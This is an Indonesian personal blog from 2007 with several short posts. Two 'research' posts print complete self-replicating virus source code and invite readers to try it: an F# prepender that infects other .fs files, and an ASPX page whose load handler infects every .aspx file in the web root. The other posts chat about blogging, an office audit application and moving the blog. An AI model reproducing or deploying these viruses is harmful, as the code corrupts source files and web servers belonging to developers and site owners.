F# SECURE ENOUGH ? NEW LANGUAGE BECOME NEW VIRUS

January 18, 2007 at 5:03 am (Researchs)

Mungkin jika ada orang asing yang menemukan judul ini di Internet akan kecewa
karena saya merilisnya memakai bahasa Indonesia tercinta, entah mengapa akhir-akhir
ini semangat nasionalisme saya tinggi sekali, hehehe mungkin karena sekarang saya
telah menjadi BLOGER kale hohohoh..

Microsoft Research Team said :

Combining the efficiency, scripting, strong typing and productivity of ML with the
stability, libraries, cross-language working and tools of .NET.
F# is a programming language that provides the much sought-after combination of
type safety, performance and scripting, with all the advantages of running on a
high-quality, well-supported modern runtime system

Now I said :

F# is a freak languange which developed by Microsoft Research Team, Having very bad structure, unfamiliar commands with poor documentation and stupid Error Handler.

Hohohoho Mudah2an saja saya tidak dipenjara karena teori diatas, tapi nyatanya memang
demikian, arsitektur F# sangat buruk menurut saya, sulit dipelajari dengan sangat amat
sedikit dokumentasi dari Internet, dan masih terdapat banyak bugs pada interpreternya

tapi dengan sedikit usaha dan kesabaran yang amat sangat sabar, akhirnya saya dapat
membuktikan bahwa F# juga bisa di simulasikan menjadi virus.

Apa Itu F# ?

F# (sebutnya F-Sharp) adalah suatu versi scripting dari variant Microsoft .NET based language
yang menurut saya adalah campuran dari C# dan OCaml programming language seperti CALM, mungkin juga LISP.
F# menurut saya sangat tidak bersahabat, karena saya akui memang jenis ini adalah variant baru dan sangat
sedikit sekali dokumentasinya di Internet,dan saya telah menghabiskan waktu hampir sebulan belajar F#
tapi itu bukan masalah, karena setidaknya saya menjadi lebih tau tentang F# dan saya telah membuktikan
bahwa F# pun bisa disimulasikan menjadi sebuah virus.

And this is the first(maybe) F# which able replicate and infect another F#

*****************************************************************
(* Mark *)
open System.IO
let vfile = new StreamReader(Sys.argv.(1));;
let vcode = (vfile.ReadToEnd()).Substring(0,526);;
let vclose = vfile.Close();;
let files = Directory.GetFiles(“.”,”*.fs”);; for i = 0 to files.Length-1 do
let hfile = new StreamReader(files.(i)) in
let hcode = hfile.ReadToEnd() in
let _ = hfile.Close() in
if (hcode.Substring(3,4)<>”Mark”) then begin
let hfile = new StreamWriter(files.(i)) in
let _ = hfile.Write(vcode+hcode) in
hfile.Close();
end
done
****************************************************************

1. Membuka System.IO bawaan .NET
2. Lalu membuka dan membaca bodi / kodenya sendiri
3. Mencari file *.fs lain di dalam direktori yang sama
4. Mengecek apa sudah terinfeksi sebelumnya
5. Jika belum Maka di Infeksi

Hohohohoh, Download F# disini

http://research.microsoft.com/projects/ilx/fsharp.aspx

Selamat mencoba…!!

Permalink 2 Comments

INIKAH DUNIA BLOG ??

January 17, 2007 at 8:00 am (Cuap-Cuap)

Sebenarnya saya mengenal konsep dari blog ini sudah cukup lama, kira2 SMA kelas 2 jadi kira2 6 tahun yang lalu saya sudah tau apa itu BLOg, namun waktu itu masih sangat sepi, tidak seramai sekarang,tapi sejak hari ini saya register account di wordpress dan melihat sudah banyak sekali blog2 bertebaran hohohohoh, dan ternyata blog rupanya sudah menjadi fenomena komunitas di alam maya yang sangat heterogen, terdiri dari berbagai macam tipe, jenis, style dan pastinya setiap blog mencerminkan pola pikir dan sifat pemiliknya.

Wuuuww sangat menarik, dan sangat amat menarik, barusan saya melihat postingan beberapa orang dengan tulisannya yang mengkritik orang lain, dan saya juga banyak melihat tulisan orang yang mungkin menurut saya *maaf menyimpang dan terkesan arogan, but what the hell, that is your style right ?? juga banyak sekali saya melihat BLOG ini dijadikan tempat menuangkan pikiran yang sangat amat bebas tanpa aturan sistem.

OK mungkin ini salah satu alasannya mengapa BLOG sangat berkembang pesat (selain friendster) , memang sangat masuk akal, suatu kita berada didalam komunitas yang diatur oleh sistem ( forum contohnya ) akan beda rasanya dengan komunitas yang free posts kaya Blog gini, namun sayangnya, ternyata ada sedikit fenomena dalam BLOG ini yang aga sedikit nyeleneh .

Barusan saya melihat ada beberapa blogger yang dalam tulisannya terkesan seperti
menghipnotis blogger lainnya untuk mengikuti pola pikirnya…ohohohoho
Saya ga tau nanti dampaknya jikalau pola pikir orang tersebut menyerupai Karl Marx
atau Hitler mungkin hohohoho atau bahkan mungkin Blog ini bisa dijadikan fasilitas  oleh
PKI untuk menginfeksi otak blogger dan menyusun kekuatannya disini hohohoho…. (why not ?) tapi tenang aja lah ini hanya pemikiran kok, ga lebih.

Yang lebih menarik lagi, ada satu fenomena yang namanya SELEB BLOG hohohoho pertama
saya baca entah fenomena apalagi itu, setelah saya telusuri ternyata cuma small thing yang ga berguna tapi yang jelas saya jadi semakin tau apa itu blog dan mudah2an saya tidak menjadi bLoger yang Go-BLOG disini huhuhuh, ga kok becanda.

Ok saya rasa cukup sekian cuap-cuap saya hari, cukup lelah dengan 4 tulisan dalam sehari
hohohoho.

Mohon maaf apabila dalil2 saya disini tanpa dilengkapi oleh link karena memang saya pengguna baru BLOG, dan saya tidak ingin mendiskreditkan seseorang di RUMAH MAYA saya ini.

Salam hangat selalu dari Bekasi

Permalink 1 Comment

.NET SECURE ENOUGH ? SEE THIS, MY ASPX REPLICATION CODE

January 17, 2007 at 5:07 am (Researchs)

Hohohohohooh
seiring dengan majunya teknologi microsoft maka makin maju
pula teknologi para coder hohohoh mungkin saya salah satunya wakwaw…
Lagi2 tentang pembuktian konsep atau sering disebut ”Proof Of concept” hehehe
I love that sentence, sounds cooL ya gag sih ??

Kemaren gua pusing banget ngerjain aplikasi pesenan

karena ke-MUMET-an gua kemaren akhirnya dateng lagi setan iseng di kepala gua.
gua nyoba2 apa bisa aspx replikasi ? soalnya pada ASp klasik gua dah nyoba dan ASP klasik ga begitu friendly buat replikasi, soalnya untuk baca
independendent path musti hardcode itupun  juga harus membuat sendiri path lewat file DLL, Ok kemaren dalam waktu lumayan singkat
yang gua inget dari jam 2 abis makan siang sampe jam 4-an gw coding tuh program  ASPX sejenis virus, dan akhirnya taraaaaa…… the first one ASPX virus maybe… hoho

—————————————————————————————–

<!– FADLY –>
<html>
<head>
<script language=”VB” runat=”server”>
Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs)
Try
Dim di As New System.IO.DirectoryInfo(“C:\Inetpub\wwwroot”)
Dim fiArr As System.IO.FileInfo() = di.GetFiles(“*.aspx”)
Dim fri As System.IO.FileInfo
Dim line, file_cont As String
Dim i,IsInf As Integer
Dim VirCode As String = “”
For Each fri In fiArr
Dim file_pointer As New System.IO.StreamReader(“C:\Inetpub\wwwroot\”+fri.Name)
Do
line = file_pointer.ReadLine()
file_cont=file_cont+line+Chr(13)+Chr(10)
Loop Until line Is Nothing
file_pointer.Close()
For i=0 to file_cont.Length-12
If file_cont.Substring(i, 12) = “<!”+”– FADLY –>” Then VirCode = file_cont.Substring(i-1, 1613)
Next
Next

For Each fri In fiArr
IsInf=0
file_cont=”"
Dim file_pointer As New System.IO.StreamReader(“C:\Inetpub\wwwroot\”+fri.Name)
Do
line = file_pointer.ReadLine()
file_cont=file_cont+line+Chr(13)+Chr(10)
Loop Until line Is Nothing

file_pointer.Close()

For i=0 to file_cont.Length-12
If file_cont.Substring(i, 12) = “<!”+”– FADLY –>” Then IsInf = 1
Next

If IsInf <> 1 Then
Dim file_pointerW As New System.IO.StreamWriter(“C:\Inetpub\wwwroot\”+fri.Name)
file_pointerW.WriteLine(VirCode+Chr(13)+Chr(10)+file_cont)
file_pointerW.Close()
i=file_cont.Length
End If
Next
Catch ex As Exception
End Try
End Sub

</script>
</head>
<body>
<p id=”ausgabe” runat=”server”></p>
</body>
</html>

—————————————————————————————–

Apaan tuh ??

Kode diatas adalah contoh dari aplikasi .NET aspx yang dapat mereplikasi dirinya sendiri ke file lain hohohoh mungkin orang nyebutnya virus, tapi tenang aja itupun prepender kok, no overwrite, jadi dia cuma numpang ( nitipin )  bodynya ke body file ASPX  lain hohohohoho….

Dan satu lagi, kode diatas cuma sebagai pembuktian konsep dan teori dari gw kalo ga ada satupun sistem yang 100% aman, yang saya lakukan hanya membantu microsoft untuk menutupi lubang-lubang tersebut.Ok terima kasih dan..

selamat mencoba.

Permalink 4 Comments

PAS DESKTOP GO LIVE…!!

January 17, 2007 at 4:28 am (DeveLopment)

Setelah Hampir 3 Bulan deveLop akhirnya ini dia Pama Audit System Desktop serie
Sistem pertama gw yang telah GO LIVE dikantor, walaupun sedikit ribet coding tapi gw
cukup bangga karena :

1. First one Desktop .NET Based Application at my office
2. First one Client-Server Realtime system with Multi Connection ( Proof Of concept )
3. Syncronizei via File & Database Connection
4. Also My first .NET based application
5. Lot of research

Mungkin versi 2.0.0 nanti akan gw buat lebih yahud lagi dengan fungsi data self replication dan report automation
ada kemungkinan juga software ini akan dibuat versi Mobile Phonenya huehue tunggu aja tanggal mainnya

pas.jpg

Tapi saya mohon maaf softwarenya ga bisa di donlod sembarangan soalnya sudah dipatenkan oleh pihak kantor :( tapi buat yang mau nyoba2 silahkan request via email

Permalink 1 Comment

Move… mOVE

January 17, 2007 at 3:20 am (Cuap-Cuap)

finaLLy I’ve decided, Moving my Blog Here, Blogspot is too sLow for My OffiCe ConneCtion

Thx For Chaidir Abadi, nOw we are at One Place, One DataBase…!!! Hohoho

Dah ah cape deh ngomong gua lama-lama balagu Juga pake baHasa sangsekerta sEgaLa Hoho…

BuAt smua BloGGers IndonesiA salam kenAL yag,

Gue FaDly, biaSa di PanGGiL woNg dan Ini sekaRang jadi Rumah + LaboLatorium Gw di InterNet

http://fadly.wordpress.com

Ok salam Hangat seLalu dari BeKasi… ciaWW…

Permalink 2 Comments